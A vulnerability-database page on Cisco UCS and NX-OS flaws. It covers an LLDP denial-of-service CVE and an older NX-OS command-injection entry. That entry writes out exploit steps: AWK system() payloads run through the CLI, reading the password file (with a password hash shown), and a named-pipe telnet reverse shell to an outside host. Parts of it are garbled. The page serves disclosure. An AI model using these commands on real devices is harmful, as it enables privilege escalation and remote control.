Vulnerabilites related to cisco - ucs
cve-2018-0395
Vulnerability from cvelistv5
Published
2018-10-17 20:00
Modified
2024-11-26 14:25
Severity ?
EPSS score ?
Summary
A vulnerability in the Link Layer Discovery Protocol (LLDP) implementation for Cisco FXOS Software and Cisco NX-OS Software could allow an unauthenticated, adjacent attacker to cause a denial of service (DoS) condition when the device unexpectedly reloads. The vulnerability is due to improper input validation of certain type, length, value (TLV) fields of the LLDP frame header. An attacker could exploit this vulnerability by sending a crafted LLDP packet to an interface on the targeted device. A successful exploit could allow the attacker to cause the switch to reload unexpectedly.
References
| ▼ | URL | Tags |
|---|---|---|
| https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181017-fxnx-os-dos | vendor-advisory, x_refsource_CISCO | |
| http://www.securitytracker.com/id/1041919 | vdb-entry, x_refsource_SECTRACK | |
| http://www.securityfocus.com/bid/105674 | vdb-entry, x_refsource_BID |
Impacted products
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| ▼ | Cisco | Cisco NX-OS Software |
Version: unspecified < 6.2(1) |
||||||
|
|||||||||
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var-201110-0195
Vulnerability from variot
Cisco Nexus OS (aka NX-OS) 4.2 and 5.0 and Cisco Unified Computing System with software 1.4 and 2.0 do not properly restrict command-line options, which allows local users to gain privileges via unspecified vectors, aka Bug IDs CSCtf40008, CSCtg18363, CSCtr44645, CSCts10195, and CSCts10188. The problem is Bug ID CSCtf40008 , CSCtg18363 , CSCtr44645 , CSCts10195 ,and CSCts10188 It is a problem.Authority may be obtained by local users. The Cisco Nexus Series switches are data center switches. Adopt the Cisco Nexus OS operating system. The section command is used as an AWK script to pass the request string, but the input is not fully filtered. Any command can be executed on the LINUX subsystem. nx1# sh clock | sed 's/./BEGIN \{ system\(\\"id \"\) \}/' > 20110713.awk Warning: There is already a file existing with this name. Do you want to overwrite (yes/no)? [no] y nx1# sh clock | sec ' -f /bootflash /20110713.awk ' uid=2003(user) gid=504(network-operator) 11:16:04.082 UTC Wed Jul 13 2011 nx1# sh clock | sed 's/./BEGIN \{ system\(\\"ls \/mnt\/cfg\/0\/\"\) \}/' > 20110713.awk nx1# sh clock | sec ' -f /bootflash/20110713.awk ' ascii bin boot cfglabel.sysmgr debug licenses linux log lost +found 11:18:41.885 UTC Wed Jul 13 2011 can be used to delete any file in the boot flash or send the 'reboot' command. In addition, the less command Han total, press the colon and press the \"e\" key to specify the file path to be opened. You can view any system file: bin::1:1:bin:/bin: daemon::2:2:daemon :/usr/sbin: sys::3:3:sys:/dev: ftp::15:14:ftp:/var/ftp:/isanboot/bin/nobash ftpuser:UvdRSOzORvz9o:99:14:ftpuser: /var/ftp:/isanboot/bin/nobash nobody:*:65534:65534:nobody:/home:/bin/sh admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm Use \"|\" (pipe) and then press the \"$\" macro key to execute the command: !ls -lah > /bootflash/20110715 You can also create a remote shell by doing the following: mknod rs p; telnet ad.dr.es. s 8888 0rs. A local attacker can exploit these issues to execute arbitrary commands with administrative privileges. Successful exploits may compromise the affected computer. Cisco MDS, UCS, Nexus 7000, 5000, 4000, 3000, 2000, and 1000V are vulnerable; other versions may also be affected
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Vulnerability from fkie_nvd
Published
2018-10-17 19:29
Modified
2024-11-21 03:38
Severity ?
8.8 (High) - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
5.3 (Medium) - CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
5.3 (Medium) - CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
A vulnerability in the Link Layer Discovery Protocol (LLDP) implementation for Cisco FXOS Software and Cisco NX-OS Software could allow an unauthenticated, adjacent attacker to cause a denial of service (DoS) condition when the device unexpectedly reloads. The vulnerability is due to improper input validation of certain type, length, value (TLV) fields of the LLDP frame header. An attacker could exploit this vulnerability by sending a crafted LLDP packet to an interface on the targeted device. A successful exploit could allow the attacker to cause the switch to reload unexpectedly.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| psirt@cisco.com | http://www.securityfocus.com/bid/105674 | Third Party Advisory, VDB Entry | |
| psirt@cisco.com | http://www.securitytracker.com/id/1041919 | Third Party Advisory, VDB Entry | |
| psirt@cisco.com | https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181017-fxnx-os-dos | Vendor Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://www.securityfocus.com/bid/105674 | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | http://www.securitytracker.com/id/1041919 | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181017-fxnx-os-dos | Vendor Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| cisco | nx-os | 6.0\(4\) | |
| cisco | nx-os | 6.1\(3\)s2 | |
| cisco | nexus_7000_10-slot | - | |
| cisco | nexus_7000_18-slot | - | |
| cisco | nexus_7000_4-slot | - | |
| cisco | nexus_7000_9-slot | - | |
| cisco | nexus_7700_10-slot | - | |
| cisco | nexus_7700_18-slot | - | |
| cisco | nexus_7700_2-slot | - | |
| cisco | nexus_7700_6-slot | - | |
| cisco | firepower_extensible_operating_system | r231 | |
| cisco | nx-os | r231 | |
| cisco | firepower_9300 | - | |
| cisco | nx-os | 12.3\(1e\) | |
| cisco | firepower_9300 | - | |
| cisco | nx-os | 3.2\(3d\)c | |
| cisco | ucs | - |
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